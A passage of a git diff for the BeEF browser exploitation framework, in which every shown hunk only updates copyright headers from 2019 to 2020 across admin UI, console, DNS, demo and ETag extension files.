a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js index 74f96671a..456031bb5 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js +++ b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js b/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js index a37ccef98..77de765e3 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js +++ b/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js index a466eb5b5..6fe58e29d 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js +++ b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js index 7f9893e9d..841c753c9 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js index ea56dcc06..a53b4c5bc 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js index e554aa2d8..180b729c7 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js index 6339faa1c..9e71847d3 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 2ee42120c..d7aaf7cc8 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/common.js b/extensions/admin_ui/media/javascript/ui/panel/common.js index 300348128..a0427de23 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/common.js +++ b/extensions/admin_ui/media/javascript/ui/panel/common.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabAutorun.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabAutorun.js index 3cbf237a2..9d734325f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabAutorun.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabAutorun.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js index e049f9367..015effdc6 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js index d5fd6db63..06cf2cd67 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js index 8703f31fa..24777635f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js index 26d750bae..b7932d63b 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index 224f997e9..4cbefc38b 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js index 56e792874..a886f86b3 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js index 430e35ab9..e33c20716 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js index babe7a182..56622aeb3 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 5cd3b779d..559e72238 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ux/PagingStore.js b/extensions/admin_ui/media/javascript/ux/PagingStore.js index c9b24f221..71fa08aa4 100644 --- a/extensions/admin_ui/media/javascript/ux/PagingStore.js +++ b/extensions/admin_ui/media/javascript/ux/PagingStore.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ux/StatusBar.js b/extensions/admin_ui/media/javascript/ux/StatusBar.js index 8326d9946..bb2387f3f 100644 --- a/extensions/admin_ui/media/javascript/ux/StatusBar.js +++ b/extensions/admin_ui/media/javascript/ux/StatusBar.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js index 59f580523..718836966 100644 --- a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js +++ b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js b/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js index 9d0e081c9..c1b05f6f6 100644 --- a/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js +++ b/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/autoloader/config.yaml b/extensions/autoloader/config.yaml index 084fc35e8..fddc0fc31 100644 --- a/extensions/autoloader/config.yaml +++ b/extensions/autoloader/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/autoloader/extension.rb b/extensions/autoloader/extension.rb index 0c6b36cdf..af8d4b332 100644 --- a/extensions/autoloader/extension.rb +++ b/extensions/autoloader/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/autoloader/model.rb b/extensions/autoloader/model.rb index b87a3b3a7..3d65aeda0 100644 --- a/extensions/autoloader/model.rb +++ b/extensions/autoloader/model.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/config.yaml b/extensions/console/config.yaml index 999117e58..5d9bf8bff 100644 --- a/extensions/console/config.yaml +++ b/extensions/console/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/extension.rb b/extensions/console/extension.rb index 04d416d85..5fe21117d 100644 --- a/extensions/console/extension.rb +++ b/extensions/console/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/lib/command_dispatcher.rb b/extensions/console/lib/command_dispatcher.rb index f09d15296..bac354458 100644 --- a/extensions/console/lib/command_dispatcher.rb +++ b/extensions/console/lib/command_dispatcher.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/lib/command_dispatcher/command.rb b/extensions/console/lib/command_dispatcher/command.rb index 88bd2d0d8..14020f566 100644 --- a/extensions/console/lib/command_dispatcher/command.rb +++ b/extensions/console/lib/command_dispatcher/command.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 5ff4b65c4..655918ecc 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index 86939b54e..2b5da5b61 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 9c21d1d8a..987dec8e6 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/console/shell.rb b/extensions/console/shell.rb index bdc2de62a..de4ee385c 100644 --- a/extensions/console/shell.rb +++ b/extensions/console/shell.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/customhook/api.rb b/extensions/customhook/api.rb index a0200871f..956f7b929 100644 --- a/extensions/customhook/api.rb +++ b/extensions/customhook/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/customhook/config.yaml b/extensions/customhook/config.yaml index cc3e2a8eb..9e7199f0a 100644 --- a/extensions/customhook/config.yaml +++ b/extensions/customhook/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/customhook/extension.rb b/extensions/customhook/extension.rb index 665b6925e..7c037160d 100644 --- a/extensions/customhook/extension.rb +++ b/extensions/customhook/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb index 65e53d66c..fc3fbfad2 100644 --- a/extensions/customhook/handler.rb +++ b/extensions/customhook/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/customhook/html/index.html b/extensions/customhook/html/index.html index 223e007eb..24d8f38ad 100644 --- a/extensions/customhook/html/index.html +++ b/extensions/customhook/html/index.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/api.rb b/extensions/demos/api.rb index 32fd91825..2275f03d5 100644 --- a/extensions/demos/api.rb +++ b/extensions/demos/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/demos/chrome_extension/index.html b/extensions/demos/chrome_extension/index.html index 2e0f0c2ae..e8fe29d72 100644 --- a/extensions/demos/chrome_extension/index.html +++ b/extensions/demos/chrome_extension/index.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/chrome_extension/persistent_tab.html b/extensions/demos/chrome_extension/persistent_tab.html index 620f2271b..1967b45a4 100644 --- a/extensions/demos/chrome_extension/persistent_tab.html +++ b/extensions/demos/chrome_extension/persistent_tab.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/config.yaml b/extensions/demos/config.yaml index 642984ae7..86c85e89f 100644 --- a/extensions/demos/config.yaml +++ b/extensions/demos/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/demos/extension.rb b/extensions/demos/extension.rb index 8d410cdbd..1e47f76e0 100644 --- a/extensions/demos/extension.rb +++ b/extensions/demos/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/demos/flash_update_chrome_extension/background.js b/extensions/demos/flash_update_chrome_extension/background.js index 7d71cff10..be73009ba 100644 --- a/extensions/demos/flash_update_chrome_extension/background.js +++ b/extensions/demos/flash_update_chrome_extension/background.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/demos/handler.rb b/extensions/demos/handler.rb index bc6d65abc..fdf15a5e9 100644 --- a/extensions/demos/handler.rb +++ b/extensions/demos/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/demos/html/basic.html b/extensions/demos/html/basic.html index f2dd3cfcc..33c75831b 100644 --- a/extensions/demos/html/basic.html +++ b/extensions/demos/html/basic.html @@ -1,7 +1,7 @@ diff --git a/extensions/demos/html/butcher/butch.css b/extensions/demos/html/butcher/butch.css index 0410b9aa5..f55c364ff 100644 --- a/extensions/demos/html/butcher/butch.css +++ b/extensions/demos/html/butcher/butch.css @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/demos/html/butcher/index.html b/extensions/demos/html/butcher/index.html index 3d8aa0f3b..fe26eb15e 100644 --- a/extensions/demos/html/butcher/index.html +++ b/extensions/demos/html/butcher/index.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/html/clickjacking/clickjack_attack.html b/extensions/demos/html/clickjacking/clickjack_attack.html index 8bbaf6188..c51569217 100644 --- a/extensions/demos/html/clickjacking/clickjack_attack.html +++ b/extensions/demos/html/clickjacking/clickjack_attack.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/html/clickjacking/clickjack_victim.html b/extensions/demos/html/clickjacking/clickjack_victim.html index 9f08c8009..5566364c4 100644 --- a/extensions/demos/html/clickjacking/clickjack_victim.html +++ b/extensions/demos/html/clickjacking/clickjack_victim.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/html/plain.html b/extensions/demos/html/plain.html index 9bfffd727..66181368d 100644 --- a/extensions/demos/html/plain.html +++ b/extensions/demos/html/plain.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/html/report.html b/extensions/demos/html/report.html index c1dfe0d83..38a7400f9 100644 --- a/extensions/demos/html/report.html +++ b/extensions/demos/html/report.html @@ -1,5 +1,5 @@ diff --git a/extensions/demos/html/secret_page.html b/extensions/demos/html/secret_page.html index 415a1bd2d..c40de5f41 100644 --- a/extensions/demos/html/secret_page.html +++ b/extensions/demos/html/secret_page.html @@ -1,5 +1,5 @@ diff --git a/extensions/dns/api.rb b/extensions/dns/api.rb index 59b3ecb9e..0ebbf43e5 100644 --- a/extensions/dns/api.rb +++ b/extensions/dns/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/config.yaml b/extensions/dns/config.yaml index 9a4c905f0..5c90c853b 100644 --- a/extensions/dns/config.yaml +++ b/extensions/dns/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/dns.rb b/extensions/dns/dns.rb index 6bbbebdfa..efd723f89 100644 --- a/extensions/dns/dns.rb +++ b/extensions/dns/dns.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/extension.rb b/extensions/dns/extension.rb index b3f0d5e2d..32adef8dd 100644 --- a/extensions/dns/extension.rb +++ b/extensions/dns/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/logger.rb b/extensions/dns/logger.rb index 7243d508e..a16224c51 100644 --- a/extensions/dns/logger.rb +++ b/extensions/dns/logger.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/model.rb b/extensions/dns/model.rb index b61eb8561..abc44cae7 100644 --- a/extensions/dns/model.rb +++ b/extensions/dns/model.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/dns/rest/dns.rb b/extensions/dns/rest/dns.rb index 80d8214a1..6fcef3e2a 100644 --- a/extensions/dns/rest/dns.rb +++ b/extensions/dns/rest/dns.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/etag/api.rb b/extensions/etag/api.rb index 877efad0d..6e0ca3bbf 100644 --- a/extensions/etag/api.rb +++ b/extensions/etag/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/etag/config.yaml b/extensions/etag/config.yaml index 1355f1663..bf21f8860 100644 --- a/extensions/etag/config.yaml +++ b/extensions/etag/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/etag/etag.rb b/extensions/etag/etag.rb index a01953e85..a23a5b28b 100644 --- a/extensions/etag/etag.rb +++ b/extensions/etag/etag.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git 